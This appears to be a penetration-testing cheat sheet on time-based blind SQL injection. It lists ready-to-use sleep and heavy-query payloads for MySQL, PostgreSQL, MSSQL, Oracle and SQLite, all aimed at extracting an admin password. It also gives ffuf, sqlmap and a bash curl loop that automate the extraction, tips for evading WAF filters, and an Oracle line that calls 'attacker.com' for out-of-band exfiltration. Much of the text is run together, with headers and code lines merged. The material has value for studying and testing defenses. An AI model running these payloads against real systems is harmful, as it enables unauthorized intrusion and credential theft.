Time-based Blind SQLi
The application’s response is identical regardless of injection - but if you make the database sleep, the response takes longer. Use timing as your boolean oracle.
' AND IF(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a', SLEEP(5), 0)-- -'; SELECT CASE WHEN SUBSTR((SELECT password FROM users WHERE username='admin'),1,1)='a' THEN pg_sleep(5) ELSE pg_sleep(0) END-- -'; IF (SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a') WAITFOR DELAY '0:0:5'-- -' AND 1=(CASE WHEN SUBSTR((SELECT password FROM users WHERE username='admin'),1,1)='a' THEN dbms_pipe.receive_message(('a'),5) ELSE 1 END)-- -If response takes ~5s, the condition was true. Otherwise false.
When to use
Section titled “When to use”When no other technique works:
- No errors visible
- Response identical for true and false conditions
- No out-of-band path available (DNS/HTTP egress blocked)
Also useful for detection before extraction - if SLEEP(5) causes a 5-second delay, you have injection.
Per-DBMS sleep payloads
Section titled “Per-DBMS sleep payloads”-- Simple delay (always sleeps if injection works)' AND SLEEP(5)-- -'; SELECT SLEEP(5)-- - -- if stacked queries supported
-- Conditional delay' AND IF(<CONDITION>, SLEEP(5), 0)-- -' AND SLEEP(IF(<CONDITION>, 5, 0))-- -
-- Heavy query alternative (when SLEEP is filtered)' AND (SELECT count(*) FROM information_schema.columns A, information_schema.columns B)-- --- Simple delay'; SELECT pg_sleep(5)-- -' || pg_sleep(5)-- -
-- Conditional'; SELECT CASE WHEN <CONDITION> THEN pg_sleep(5) ELSE pg_sleep(0) END-- -' AND (SELECT CASE WHEN <CONDITION> THEN pg_sleep(5) ELSE NULL END) IS NULL-- --- Requires stacked queries support'; WAITFOR DELAY '0:0:5'-- -
-- Conditional'; IF (<CONDITION>) WAITFOR DELAY '0:0:5'-- -
-- Inline (no stacked queries)' AND 1=(CASE WHEN <CONDITION> THEN (SELECT count(*) FROM sysobjects A, sysobjects B, sysobjects C) ELSE 1 END)-- --- Built-in sleep is blocked in many configurations; use:' AND 1=(CASE WHEN <CONDITION> THEN dbms_pipe.receive_message(('a'),5) ELSE 1 END)-- -
-- Heavy query alternative' AND 1=(SELECT count(*) FROM all_objects A, all_objects B WHERE <CONDITION>)-- -
-- DNS-based exfil (also out-of-band, see out-of-band page)' AND DBMS_LDAP.INIT(('attacker.com',80))=1-- --- No native sleep - use heavy query' AND randomblob(100000000)-- -' AND CASE WHEN <CONDITION> THEN randomblob(100000000) ELSE 0 END-- -Extraction workflow
Section titled “Extraction workflow”Identical to Boolean blind, but the oracle is “did the response take >Nms?”:
- Establish baseline response time (e.g., 200ms).
- Establish “true” response time with a known-true condition that triggers SLEEP.
- For each character position, binary-search ASCII via timing.
Automation
Section titled “Automation”ffuf with timing filter
Section titled “ffuf with timing filter”ffuf -w chars.txt:CHAR \ -u "https://<TARGET>/page" \ -H "Cookie: id=xyz' AND IF(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='CHAR', SLEEP(3), 0)-- -" \ -t 1 \ -p 0.1 \ -mt ">2500"-mt ">2500" matches responses over 2500ms. -t 1 keeps it single-threaded so timing is reliable.
sqlmap
Section titled “sqlmap”sqlmap -u "https://<TARGET>/page?id=1" --technique=T --dbms=mysql --dump--technique=T restricts to time-based. sqlmap tunes the delay automatically based on observed jitter.
Bash loop
Section titled “Bash loop”target="https://<TARGET>/page"extracted=""
for pos in {1..32}; do for c in {a..f} {0..9}; do # narrow charset for hex hash start=$(date +%s%N) curl -s -o /dev/null \ -H "Cookie: id=xyz' AND IF(SUBSTRING((SELECT password FROM users WHERE username='admin'),$pos,1)='$c', SLEEP(3), 0)-- -" \ "$target" end=$(date +%s%N) elapsed_ms=$(( (end - start) / 1000000 )) if [ "$elapsed_ms" -gt 2500 ]; then extracted="${extracted}${c}" echo "Position $pos: $c (so far: $extracted)" break fi donedoneecho "Final: $extracted"Considerations
Section titled “Considerations”- Network jitter - set the delay long enough to cleanly distinguish true (5s) from baseline (200ms). Don’t use 1s delays unless the network is exceptionally clean.
- Concurrency - keep extraction single-threaded. Multiple threads measuring the same target’s response time interfere with each other.
- Asynchronous queries - PostgreSQL’s
pg_sleepblocks the request. But some Node.js/asyncio apps use connection pools where the sleep blocks one connection without delaying the response. Test with a known-trueSLEEPfirst to confirm timing actually changes. - WAF time-based filtering - some WAFs strip
SLEEP(. UseBENCHMARK(10000000, MD5(1))(MySQL) or heavy query alternatives. ANDvsORevaluation -AND SLEEP(5)only fires if the left side is true. If you want unconditional delay (for detection), useOR SLEEP(5)or terminate with;.
Detection-only payloads
Section titled “Detection-only payloads”When you only want to confirm injection (not extract data), unconditional sleep:
'; SELECT pg_sleep(5)-- - -- PostgreSQL'; WAITFOR DELAY '0:0:5'-- - -- MSSQL' OR SLEEP(5)-- - -- MySQL' OR (SELECT 1 FROM (SELECT SLEEP(5))a)-- - -- MySQL with subqueryRepeat 3 times. If all three add ~5s, injection confirmed.
- Time-based is slow. A 32-char password at 5s per character with binary search is ~32 × 7 × 5s = ~19 minutes. Plan accordingly.
- Combine with
LIMIT 1 OFFSET <N>to walk through rows when extracting multiple records. - For cases where the application’s response time naturally varies a lot (e.g., shared hosting under load), increase delay to 10s or run each test multiple times and take the median.